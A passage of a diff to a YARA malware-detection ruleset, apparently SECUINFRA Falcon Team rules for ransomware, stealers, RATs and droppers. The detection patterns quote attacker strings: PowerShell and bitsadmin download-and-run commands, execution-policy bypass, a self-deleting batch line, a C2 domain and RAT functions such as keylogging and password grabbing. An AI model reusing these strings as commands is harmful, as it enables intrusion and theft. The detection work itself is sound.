"https://twitter.com/vxunderground/status/1543661557883740161" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Lockbit_Black_Packer.yar#L5-L40" + id = "a91d0510-ab4e-5f22-bcce-9a42beff5190" + date = "2022-12-02" + modified = "2022-02-13" + reference = "https://bazaar.abuse.ch/sample/60e40ccfc16ca9f36dee7ec2b4e2fc81398ff408bf7cc63fb7ddf0fef1d4b72b" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Stealer/redline_stealer.yar#L3-L16" license_url = "N/A" - logic_hash = "cde7f5374b97b2462cfd951994b6bb3ef0962e1be71253e25ca14d53c3d3d615" + logic_hash = "b3084bee5151543c0931bef9d320805d9e4d63c25be029da4e592d5a0b080a0e" score = 75 - quality = 45 - tags = "RANSOMWARE, FILE" - tlp = "WHITE" - hash0 = "80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce" - hash1 = "506f3b12853375a1fbbf85c82ddf13341cf941c5acd4a39a51d6addf145a7a51" - hash2 = "d61af007f6c792b8fb6c677143b7d0e2533394e28c50737588e40da475c040ee" - - strings: - $sectionname0 = ".rdata$zzzdbg" ascii - $sectionname1 = ".xyz" ascii fullword - $check0 = {3d 75 80 91 76 ?? ?? 3d 1b a4 04 00 ?? ?? 3d 9b b4 84 0b} - $check1 = {3d 75 ba 0e 64} - $asciiCalc = {66 83 f8 41 ?? ?? 66 83 f8 46 ?? ?? 66 83 e8 37} + quality = 70 + tags = "FILE" condition: - uint16( 0 ) == 0x5a4d and filesize > 111KB and filesize < 270KB and all of ( $sectionname* ) and any of ( $check* ) and $asciiCalc and for any i in ( 0 .. pe.number_of_sections - 1 ) : ( math.entropy ( pe.sections [ i ] . raw_data_offset , pe.sections [ i ] . raw_data_size ) > 7.9 and ( pe.sections [ i ] . name == ".text" or pe.sections [ i ] . name == ".data" or pe.sections [ i ] . name == ".pdata" ) and console.log ( "High Entropy section found:" , pe.sections [ i ] . name ) ) + uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "BOSCH BOSCH SDS-plus Professional 607557501" and pe.signatures [ i ] . serial == "72:76:34:57:ef:50:d5:b0:4e:00:b3:74:ab:c6:ff:11" ) } -rule SECUINFRA_MALWARE_Formbook_Filename_Stage_2 : FILE + +rule SECUINFRA_MAL_Redline_Certificate_Geforce : FILE { meta: - description = "No description has been set in the source file - SecuInfra" + description = "Detects Certificate used by Redline Stealer" author = "SECUINFRA Falcon Team" - id = "74ae157c-30b3-5f07-83a3-6bc9e854fa84" - date = "2022-02-19" - modified = "2022-02-27" - reference = "https://bazaar.abuse.ch/sample/295a708fd87173762a4971443304e23990462f94e8db48d83472f19425daaa87" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/formbook.yar#L2-L14" + id = "70081810-704e-5734-8a78-f97e17989460" + date = "2022-02-13" + modified = "2022-02-13" + reference = "https://bazaar.abuse.ch/sample/f36c1c2f6b6f334be93b72fccb8e46cadd59304dc244b3a5aabecc8f4018eb77" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Stealer/redline_stealer.yar#L18-L31" license_url = "N/A" - logic_hash = "707fa457a99b47419b0b77716ed1f61cdb493f04cc26a156f903a30ef30ac428" + logic_hash = "04e9bfd886be1550b0efd22f0098cc13a5fb6e7cae30b866a4066d0c8f433367" score = 75 quality = 70 tags = "FILE" - version = "0.1" - - strings: - $name = "PDF-Scan180220225499044" ascii wide - - condition: - uint16( 0 ) == 0x5a4d and filesize < 300KB and $name -} -rule SECUINFRA_MALWARE_Emotet_Onenote_Delivery_Wsf_Mar23 -{ - meta: - description = "Detects Microsoft OneNote files used to deliver Emotet (.wsf Payload)" - author = "SECUINFRA Falcon Team (@SI_FalconTeam)" - id = "a9201240-407d-5ca9-b7fd-37372a2e7d2a" - date = "2023-03-16" - modified = "2023-03-16" - reference = "https://www.secuinfra.com/en/news/the-whale-surfaces-again-emotet-epoch4-spam-botnet-returns/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_Emotet_OneNote_Delivery_wsf_Mar23.yar#L1-L33" - license_url = "N/A" - logic_hash = "ca48f5e694b18e3f0b89b0128817848a7d36f60d8a3ada522739849bf3f7126b" - score = 75 - quality = 45 - tags = "" - tlp = "CLEAR" - hash0 = "dd9fcdcaf5c26fc27863c86aa65948924f23ab9faa261562cbc9d65ac80d33d4" - hash1 = "ca2234b9c6f7c453b91a1ca10fc7b05487f94850be7ac5ea42986347d93772d8" - hash2 = "b75681c1f99c4caf541478cc417ee9e8fba48f9b902c45d8bda0158a61ba1a2f" - hash3 = "7c4591fd03b73ba6d0ec71a3cf89a04bfb4bd240d359117d96834a83727bdcc2" - - strings: - $s_protected = "This document is protected" wide - $s_click = "You have to double-click \"View\" button to open" wide - $s_imgFileName = "Untitled picture.jpg" wide - $script = "language=\"VBScript\"" - $wsfExt = ".wsf" ascii wide - $GUIDwsf = {E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 3C 6A 6F 62 20 69 64 3D 22} - $endTmp = /rad.{5}\.tmp/ condition: - uint32be( 0x0 ) == 0xE4525C7B and any of ( $s_* ) and $script and $wsfExt and $GUIDwsf and $endTmp + uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "Palit GeForce RTX 3070 Dual H21 LHR" and pe.signatures [ i ] . serial == "11:cd:b5:d5:9d:fb:90:84:45:f3:a7:22:25:47:a4:54" ) } rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Python_Feb23 { @@ -166265,6 +166333,31 @@ rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Python_Feb23 condition: $python and $desc and 4 of ( $command* ) and $cmd and $OpenSLPPort and $listener } +rule SECUINFRA_RANSOM_Magniber_LNK_Jan23 +{ + meta: + description = "Detects Magniber Ransomware LNK files from fake Windows Update delivery method" + author = "SECUINFRA Falcon Team" + id = "2459a9e9-a6bb-50fc-9920-7632fdec7e91" + date = "2023-01-13" + modified = "2023-01-13" + reference = "https://twitter.com/SI_FalconTeam/status/1613540054382559234" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Magniber_LNK_Jan23.yar#L1-L18" + license_url = "N/A" + hash = "16ecec4efa2174dec11f6a295779f905c8f593ab5cc96ae0f5249dc50469841c" + logic_hash = "074611d74e382bb19a45b052b5b2cc186bf3667420cb1625e9bda37f2e9774c5" + score = 75 + quality = 70 + tags = "" + tlp = "CLEAR" + + strings: + $netbiosName = "victim1" ascii fullword + $macAddress = {00 0C 29 07 E1 6D} + + condition: + uint32be( 0x0 ) == 0x4C000000 and all of them +} rule SECUINFRA_MALWARE_Plugx_USB_Delivery_LNK_Jun23 { meta: @@ -166434,34 +166527,6 @@ rule SECUINFRA_RANSOM_Medusalocker_July22 : RANSOMWARE FILE condition: uint16( 0 ) == 0x5a4d and pe.imphash ( ) == "1a395bd10b20c116b11c2db5ee44c225" and filesize > 450KB and filesize < 1MB and all of ( $log* ) and $mutex and any of ( $uacbypass* ) and 2 of ( $note* ) and $ext and $services and 2 of ( $system* ) } -rule SECUINFRA_RANSOM_Magniber_ISO_Jan23 : FILE -{ - meta: - description = "Detects Magniber Ransomware ISO files from fake Windows Update delivery method" - author = "SECUINFRA Falcon Team" - id = "6d5a937d-ac31-5c59-8e93-3fadc772d132" - date = "2023-01-13" - modified = "2023-01-13" - reference = "https://twitter.com/SI_FalconTeam/status/1613540054382559234" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Magniber_ISO_Jan23.yar#L1-L24" - license_url = "N/A" - hash = "4dcbcc070e7e3d0696c777b63e185406e3042de835b734fe7bb33cc12e539bf6" - logic_hash = "238baa794f4a87102534f7d6901819aa1b5dbb8156d56fb311e9fb1a6bc77f30" - score = 75 - quality = 68 - tags = "FILE" - tlp = "CLEAR" - - strings: - $magic = {43 44 30 30 31} - $tool = {55 4C 54 52 41 49 53 4F 00 39 2E 37 2E 36 2E 33 38 32 39} - $msiMagic = {D0 CF 11 E0 A1 B1 1A E1} - $dosString = "!This program cannot be run in DOS mode" ascii - $lnkMagic = {4C 00 00 00} - - condition: - filesize > 200KB and filesize < 800KB and all of them -} rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Bash_Feb23 { meta: @@ -166503,458 +166568,340 @@ rule SECUINFRA_RANSOM_Esxiargs_Ransomware_Bash_Feb23 condition: $bash and $wait and any of ( $comment* ) and 2 of ( $kill* ) and $index and 4 of ( $ext* ) and 2 of ( $clean* ) } -rule SECUINFRA_RANSOM_Magniber_LNK_Jan23 +rule SECUINFRA_MALWARE_Emotet_Onenote_Delivery_Wsf_Mar23 { meta: - description = "Detects Magniber Ransomware LNK files from fake Windows Update delivery method" - author = "SECUINFRA Falcon Team" - id = "2459a9e9-a6bb-50fc-9920-7632fdec7e91" - date = "2023-01-13" - modified = "2023-01-13" - reference = "https://twitter.com/SI_FalconTeam/status/1613540054382559234" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Magniber_LNK_Jan23.yar#L1-L18" + description = "Detects Microsoft OneNote files used to deliver Emotet (.wsf Payload)" + author = "SECUINFRA Falcon Team (@SI_FalconTeam)" + id = "a9201240-407d-5ca9-b7fd-37372a2e7d2a" + date = "2023-03-16" + modified = "2023-03-16" + reference = "https://www.secuinfra.com/en/news/the-whale-surfaces-again-emotet-epoch4-spam-botnet-returns/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/MALWARE_Emotet_OneNote_Delivery_wsf_Mar23.yar#L1-L33" license_url = "N/A" - hash = "16ecec4efa2174dec11f6a295779f905c8f593ab5cc96ae0f5249dc50469841c" - logic_hash = "074611d74e382bb19a45b052b5b2cc186bf3667420cb1625e9bda37f2e9774c5" + logic_hash = "ca48f5e694b18e3f0b89b0128817848a7d36f60d8a3ada522739849bf3f7126b" score = 75 quality = 70 tags = "" tlp = "CLEAR" + hash0 = "dd9fcdcaf5c26fc27863c86aa65948924f23ab9faa261562cbc9d65ac80d33d4" + hash1 = "ca2234b9c6f7c453b91a1ca10fc7b05487f94850be7ac5ea42986347d93772d8" + hash2 = "b75681c1f99c4caf541478cc417ee9e8fba48f9b902c45d8bda0158a61ba1a2f" + hash3 = "7c4591fd03b73ba6d0ec71a3cf89a04bfb4bd240d359117d96834a83727bdcc2" strings: - $netbiosName = "victim1" ascii fullword - $macAddress = {00 0C 29 07 E1 6D} - - condition: - uint32be( 0x0 ) == 0x4C000000 and all of them -} - -rule SECUINFRA_MAL_Redline_Certificate_Bosch : FILE -{ - meta: - description = "Detects Certificate used by Redline Stealer" - author = "SECUINFRA Falcon Team" - id = "a91d0510-ab4e-5f22-bcce-9a42beff5190" - date = "2022-12-02" - modified = "2022-02-13" - reference = "https://bazaar.abuse.ch/sample/60e40ccfc16ca9f36dee7ec2b4e2fc81398ff408bf7cc63fb7ddf0fef1d4b72b" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Stealer/redline_stealer.yar#L3-L16" - license_url = "N/A" - logic_hash = "b3084bee5151543c0931bef9d320805d9e4d63c25be029da4e592d5a0b080a0e" - score = 75 - quality = 70 - tags = "FILE" - - condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "BOSCH BOSCH SDS-plus Professional 607557501" and pe.signatures [ i ] . serial == "72:76:34:57:ef:50:d5:b0:4e:00:b3:74:ab:c6:ff:11" ) -} - -rule SECUINFRA_MAL_Redline_Certificate_Geforce : FILE -{ - meta: - description = "Detects Certificate used by Redline Stealer" - author = "SECUINFRA Falcon Team" - id = "70081810-704e-5734-8a78-f97e17989460" - date = "2022-02-13" - modified = "2022-02-13" - reference = "https://bazaar.abuse.ch/sample/f36c1c2f6b6f334be93b72fccb8e46cadd59304dc244b3a5aabecc8f4018eb77" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Stealer/redline_stealer.yar#L18-L31" - license_url = "N/A" - logic_hash = "04e9bfd886be1550b0efd22f0098cc13a5fb6e7cae30b866a4066d0c8f433367" - score = 75 - quality = 70 - tags = "FILE" + $s_protected = "This document is protected" wide + $s_click = "You have to double-click \"View\" button to open" wide + $s_imgFileName = "Untitled picture.jpg" wide + $script = "language=\"VBScript\"" + $wsfExt = ".wsf" ascii wide + $GUIDwsf = {E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 3C 6A 6F 62 20 69 64 3D 22} + $endTmp = /rad.{5}\.tmp/ condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "Palit GeForce RTX 3070 Dual H21 LHR" and pe.signatures [ i ] . serial == "11:cd:b5:d5:9d:fb:90:84:45:f3:a7:22:25:47:a4:54" ) + uint32be( 0x0 ) == 0xE4525C7B and any of ( $s_* ) and $script and $wsfExt and $GUIDwsf and $endTmp } -rule SECUINFRA_MAL_Nw0Rm : FILE +rule SECUINFRA_MALWARE_Formbook_Filename_Stage_2 : FILE { meta: - description = "Detect the final RAT dropped by N-W0rm" + description = "No description has been set in the source file - SecuInfra" author = "SECUINFRA Falcon Team" - id = "b014ce63-33ec-51df-a529-0c197dac2d7a" - date = "2022-03-02" - modified = "2022-02-07" - reference = "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/n-w0rm.yar#L1-L24" + id = "74ae157c-30b3-5f07-83a3-6bc9e854fa84" + date = "2022-02-19" + modified = "2022-02-27" + reference = "https://bazaar.abuse.ch/sample/295a708fd87173762a4971443304e23990462f94e8db48d83472f19425daaa87" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/formbook.yar#L2-L14" license_url = "N/A" - hash = "08587e04a2196aa97a0f939812229d2d" - logic_hash = "04078c57c1aa0065fceec7dc92b201bda23de1c5f5a940803a81250bdd685736" + logic_hash = "707fa457a99b47419b0b77716ed1f61cdb493f04cc26a156f903a30ef30ac428" score = 75 quality = 70 tags = "FILE" + version = "0.1" strings: - $a1 = "N-W0rm" fullword wide - $a2 = "N_W0rm" fullword wide - $a3 = "|NW|" fullword wide - $b1 = "Select * from AntivirusProduct" fullword wide - $b2 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File" fullword wide - $b3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide - $b4 = "killer" fullword wide - $b5 = "nyanmoney02.duckdns.org" fullword wide + $name = "PDF-Scan180220225499044" ascii wide condition: - uint16( 0 ) == 0x5a4d and 2 of ( $a* ) and 2 of ( $b* ) + uint16( 0 ) == 0x5a4d and filesize < 300KB and $name } -rule SECUINFRA_MAL_WSHRAT : RAT JAVASCRIPT WSHRAT FILE +rule SECUINFRA_RANSOM_Magniber_ISO_Jan23 : FILE { meta: - description = "Detects the final Payload of WSHART" + description = "Detects Magniber Ransomware ISO files from fake Windows Update delivery method" author = "SECUINFRA Falcon Team" - id = "8db5e349-c83e-53c3-a44d-cfe4732fe08d" - date = "2022-12-02" - modified = "2022-02-13" - reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/wshrat.yar#L2-L44" + id = "6d5a937d-ac31-5c59-8e93-3fadc772d132" + date = "2023-01-13" + modified = "2023-01-13" + reference = "https://twitter.com/SI_FalconTeam/status/1613540054382559234" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Magniber_ISO_Jan23.yar#L1-L24" license_url = "N/A" - hash = "b7f53ccc492400290016e802e946e526" - logic_hash = "12d893f0ca83e805fa570d3f72eb733c8d8b1ae6c0d37bf179ac675d108c7412" + hash = "4dcbcc070e7e3d0696c777b63e185406e3042de835b734fe7bb33cc12e539bf6" + logic_hash = "238baa794f4a87102534f7d6901819aa1b5dbb8156d56fb311e9fb1a6bc77f30" score = 75 quality = 68 - tags = "RAT, JAVASCRIPT, WSHRAT, FILE" + tags = "FILE" + tlp = "CLEAR" strings: - $function1 = "runBinder" - $function2 = "getBinder" - $function3 = "Base64Encode" - $function4 = "payloadLuncher" - $function5 = "getMailRec" - $function6 = "getHbrowser" - $function7 = "passgrabber" - $function8 = "getRDP" - $function9 = "getUVNC" - $function10 = "getConfig" - $function11 = "getKeyLogger" - $function12 = "enumprocess" - $function13 = "cmdshell" - $function14 = "faceMask" - $function15 = "upload" - $function16 = "download" - $function17 = "sitedownloader" - $function18 = "servicestarter" - $function19 = "payloadLuncher" - $function20 = "keyloggerstarter" - $function21 = "reverserdp" - $function22 = "reverseproxy" - $function23 = "decode_pass" - $function24 = "disableSecurity" - $function25 = "installsdk" - $cmd1 = "osversion = eval(osversion)" - $cmd2 = "download(cmd[1],cmd[2])" - $cmd3 = "keyloggerstarter(cmd[1]" - $cmd4 = "decode_pass(retcmd);" + $magic = {43 44 30 30 31} + $tool = {55 4C 54 52 41 49 53 4F 00 39 2E 37 2E 36 2E 33 38 32 39} + $msiMagic = {D0 CF 11 E0 A1 B1 1A E1} + $dosString = "!This program cannot be run in DOS mode" ascii + $lnkMagic = {4C 00 00 00} condition: - filesize < 2MB and 2 of ( $cmd* ) and 12 of ( $function* ) + filesize > 200KB and filesize < 800KB and all of them } -rule SECUINFRA_MAL_Njrat : FILE +rule SECUINFRA_RANSOM_Lockbit_Black_Packer : RANSOMWARE FILE { meta: - description = "No description has been set in the source file - SecuInfra" + description = "Detects the packer used by Lockbit Black (Version 3)" author = "SECUINFRA Falcon Team" - id = "eeea8bcf-0d19-5c43-92cc-55c1110f46e5" - date = "2022-02-27" - modified = "2022-02-27" - reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/njrat.yar#L3-L35" + id = "f4c1a12b-eb89-5a46-97a9-f0207ca1bbde" + date = "2022-07-04" + modified = "2022-07-04" + reference = "https://twitter.com/vxunderground/status/1543661557883740161" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Malware/RANSOM_Lockbit_Black_Packer.yar#L5-L40" license_url = "N/A" - logic_hash = "e6f5ce20df70bc2f9d00931a84db08c1918a0639555204de8e86f3ba583a73f5" + logic_hash = "cde7f5374b97b2462cfd951994b6bb3ef0962e1be71253e25ca14d53c3d3d615" score = 75 - quality = 70 - tags = "FILE" - hash_1 = "38928ae157586ec7785121f79ac5f9eb6727eae66aa512d8adf52d9485928126" - hash_2 = "fcfa50ca0d4dcf2bb6e96e7b7a223138068f2d6a458d2630757e3bcbe0684aaa" - hash_3 = "fa28ad86ab796c8e18096badc31bcb1719474d268945172d983bb30ded219944" - - strings: - $mutex_1 = "02ddd2742fd5023579c925948979506c" wide - $mutex_2 = "f2defcfce1660e18fd445b5dbce27282" wide - $mutex_3 = "f7d3b79624476341312866012d0bbf19" wide - $a1 = "\"|'|'|\"" wide - $a2 = "SEE_MASK_NOZONECHECKS" wide - $b1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide - $b2 = "netsh firewall" wide - $b3 = "[ENTER]\\r\\n" wide - $b4 = "Execute ERROR" wide - - condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imports ( "mscoree.dll" ) and pe.imports ( "avicap32.dll" ) and 1 of ( $mutex_* ) or ( 1 of ( $a* ) and 2 of ( $b* ) ) -} -rule SECUINFRA_MALWARE_Onenote_Delivery_Jan23 -{ - meta: - description = "Detects suspicious Microsoft OneNote files used to deliver Malware" - author = "SECUINFRA Falcon Team (@SI_FalconTeam)" - id = "ebf02a11-6f53-573d-bd7a-9948cef9fb3a" - date = "2023-01-19" - modified = "2023-01-19" - reference = "https://twitter.com/James_inthe_box/status/1615421130877329409" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/MALWARE_OneNote_Delivery_Jan23.yar#L1-L56" - license_url = "N/A" - logic_hash = "08c38eedf500fd1a0224e396b41aebb8ac82b3705321ca798ac1007ea34366e1" - score = 65 - quality = 66 - tags = "" - tlp = "CLEAR" - hash0 = "18af397a27e58afb901c92f37569d48e3372cf073915723e4e73d44537bcf54d" - hash1 = "de30f2ba2d8916db5ce398ed580714e2a8e75376f31dc346b0e3c898ee0ae4cf" - hash2 = "bfc979c0146d792283f825f99772370f6ff294dfb5b1e056943696aee9bc9f7b" - hash3 = "e0d9f2a72d64108a93e0cfd8066c04ed8eabe2ed43b80b3f589b9b21e7f9a488" - hash4 = "3f00a56cbf9a0e59309f395a6a0b3457c7675a657b3e091d1a9440bd17963f59" + quality = 45 + tags = "RANSOMWARE, FILE" + tlp = "WHITE" + hash0 = "80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce" + hash1 = "506f3b12853375a1fbbf85c82ddf13341cf941c5acd4a39a51d6addf145a7a51" + hash2 = "d61af007f6c792b8fb6c677143b7d0e2533394e28c50737588e40da475c040ee" strings: - $hta = "hta:application" nocase - $script1 = "type=\"text/vbscript\"" - $script2 = "language=\"VBScript\"" - $powershell = "powershell" nocase - $startProc = "Start-Process -Filepath" - $webReq = "Invoke-WebRequest -Uri" - $bitsadmin = "bitsadmin /transfer" - $wscript = "WScript.Shell" nocase - $autoOpen = "Sub AutoOpen()" - $root = "GetObject(\"winmgmts:\\.\\root\\cimv2\")" - $wsfExt = ".wsf" ascii wide - $vbsExt = ".vbs" ascii wide - $cmd = "cmd /c" nocase - $batch = "@echo off" - $batExt = ".bat" ascii wide - $delExit = "(goto) 2>nul & del \"%~f0\"..exit /b" - $dosString = "!This program cannot be run in DOS mode" - $exeExt = ".exe" ascii wide - $imageFile = "button_click-to-view-document.png" wide - $click = "click to view document" nocase wide - $path1 = "C:\\Users\\My\\OneDrive\\Desktop" wide - $path2 = "C:\\Users\\Administrator\\Documents\\Dove" wide - $path3 = "C:\\Users\\julien.galleron\\Downloads" wide + $sectionname0 = ".rdata$zzzdbg" ascii + $sectionname1 = ".xyz" ascii fullword + $check0 = {3d 75 80 91 76 ?? ?? 3d 1b a4 04 00 ?? ?? 3d 9b b4 84 0b} + $check1 = {3d 75 ba 0e 64} + $asciiCalc = {66 83 f8 41 ?? ?? 66 83 f8 46 ?? ?? 66 83 e8 37} condition: - uint32be( 0x0 ) == 0xE4525C7B and 3 of them + uint16( 0 ) == 0x5a4d and filesize > 111KB and filesize < 270KB and all of ( $sectionname* ) and any of ( $check* ) and $asciiCalc and for any i in ( 0 .. pe.number_of_sections - 1 ) : ( math.entropy ( pe.sections [ i ] . raw_data_offset , pe.sections [ i ] . raw_data_size ) > 7.9 and ( pe.sections [ i ] . name == ".text" or pe.sections [ i ] . name == ".data" or pe.sections [ i ] . name == ".pdata" ) and console.log ( "High Entropy section found:" , pe.sections [ i ] . name ) ) } -rule SECUINFRA_SUSP_Discord_Attachments_URL : PE DOWNLOAD FILE +rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll_1 : POWERSHELL DOWNLOAD { meta: - description = "Detects a PE file that contains an Discord Attachments URL. This is often used by Malware to download further payloads" + description = "Detect a Download to %temp% and execution with rundll32.exe" author = "SECUINFRA Falcon Team" - id = "bf81920b-f8ab-594a-aa45-d92446411113" - date = "2022-02-19" - modified = "2022-02-27" + id = "f7a9d2e6-bebf-598b-9e59-db0a3001b9f9" + date = "2022-09-02" + modified = "2022-02-19" reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L3-L16" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/PowerShell_Misc/download_variations.yar#L1-L14" license_url = "N/A" - logic_hash = "3270b74506e520064361379b274f44a467c55bdcd3d8456967e864526aca8521" + logic_hash = "7982438c032127349fb1c3477a23bab1c92eb68d9c3b26e2f5fb0a8c332dbc44" score = 65 quality = 70 - tags = "PE, DOWNLOAD, FILE" - version = "0.1" + tags = "POWERSHELL, DOWNLOAD" strings: - $url = "cdn.discordapp.com/attachments" nocase wide + $location = "$Env:temp" nocase + $download = "downloadfile(" nocase + $rundll = "rundll32.exe" condition: - uint16( 0 ) == 0x5a4d and $url + $location and $download and $rundll } - -rule SECUINFRA_SUSP_DOTNET_PE_Download_To_Specialfolder : DOTNET DOWNLOAD FILE +rule SECUINFRA_DROPPER_Valyria_Stage_1 : JAVASCRIPT VBS VALYRIA FILE { meta: - description = "Detects a .NET Binary that downloads further payload and retrieves a special folder" + description = "Family was taken from VirusTotal" author = "SECUINFRA Falcon Team" - id = "106683bf-1d36-58ee-b5af-4723aa70fdad" - date = "2022-02-27" - modified = "2022-02-27" - reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L45-L64" + id = "7e2ab9db-142c-5dee-92b7-4a70d747c540" + date = "2022-02-18" + modified = "2022-02-18" + reference = "https://bazaar.abuse.ch/sample/c8a8fea3cbe08cd97e56a0e0dbc59a892f8ab1ff3b5217ca3c9b326eeee6ca66/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/valyria.yar#L1-L23" license_url = "N/A" - logic_hash = "d44c89ab126f79596c8bf3f1327b37a2463faa4e3bb258f9a96d495ac40003f8" - score = 65 + logic_hash = "94643123a4be26c818d43a77b907edf8651d306463f4df750db67cef790f10eb" + score = 75 quality = 70 - tags = "DOTNET, DOWNLOAD, FILE" + tags = "JAVASCRIPT, VBS, VALYRIA, FILE" strings: - $special_folder = "Environment.SpecialFolder" wide - $webclient = "WebClient()" wide - $download = ".DownloadFile(" wide + $a1 = "<script language=\"vbscript\">" + $a2 = "<script language=\"javascript\">" + $b1 = "window.resizeTo(0,0);" + $b2 = ".Environment" + $b3 = ".item().Name" + $b4 = "v4.0.30319" + $b5 = "v2.0.50727" + $c1 = "Content Writing.docx" + $c2 = "eval" condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imports ( "mscoree.dll" ) and $special_folder and $webclient and $download + filesize < 600KB and all of ( $a* ) and 3 of ( $b* ) and 1 of ( $c* ) } - -rule SECUINFRA_SUSP_DOTNET_PE_List_AV : DOTNET AV FILE +rule SECUINFRA_MAL_Agenttesla_Stage_1 : JAVASCRIPT AGENTTESLA OBFUSCATORIO FILE { meta: - description = "Detecs .NET Binary that lists installed AVs" + description = "Detects the first stage of AgentTesla (JavaScript)" author = "SECUINFRA Falcon Team" - id = "0f27567a-ab41-5d17-a1d8-a59c9602eb35" + id = "0a098f27-8dbc-5749-9a0d-fd0198184c7a" date = "2022-02-27" modified = "2022-02-27" - reference = "https://github.com/SIFalcon/Detection" - source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L66-L82" + reference = "https://bazaar.abuse.ch/sample/bd257d674778100639b298ea35550bf3bcb8b518978c502453e9839846f9bbec/" + source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/agent_tesla.yar#L1-L18" license_url = "N/A" - logic_hash = "b82e6ed5740cab26eb3848717204190d61663e7e42ff42536386b00181a15ebb" - score = 65 - quality = 70 - tags = "DOTNET, AV, FILE" + hash = "bd257d674778100639b298ea35550bf3bcb8b518978c502453e9839846f9bbec" + logic_hash = "7c21f80a02aa161ffb2edf47aff796f22aff2a563abcb0097cc86371c05e516d" + score = 75 + quality = 45 + tags = "JAVASCRIPT, AGENTTESLA, OBFUSCATORIO, FILE" strings: - $mgt_obj_searcher = "\\root\\SecurityCenter2" wide - $query = "Select * from AntivirusProduct" wide + $mz = "TVq" + $a1 = ".jar" + $a2 = "bin.base64" + $a3 = "appdata" + $a4 = "skype.exe" condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and pe.imports ( "mscoree.dll" ) and $mgt_obj_searcher and $query + filesize < 500KB and $mz and 3 of ( $a* ) } -rule SECUINFRA_SUSP_Netsh_Firewall_Command : PE FILE +rule SECUINFRA_DROPPER_Vjw0Rm_Stage_1 : JAVASCRIPT DROPPER VJW0RM 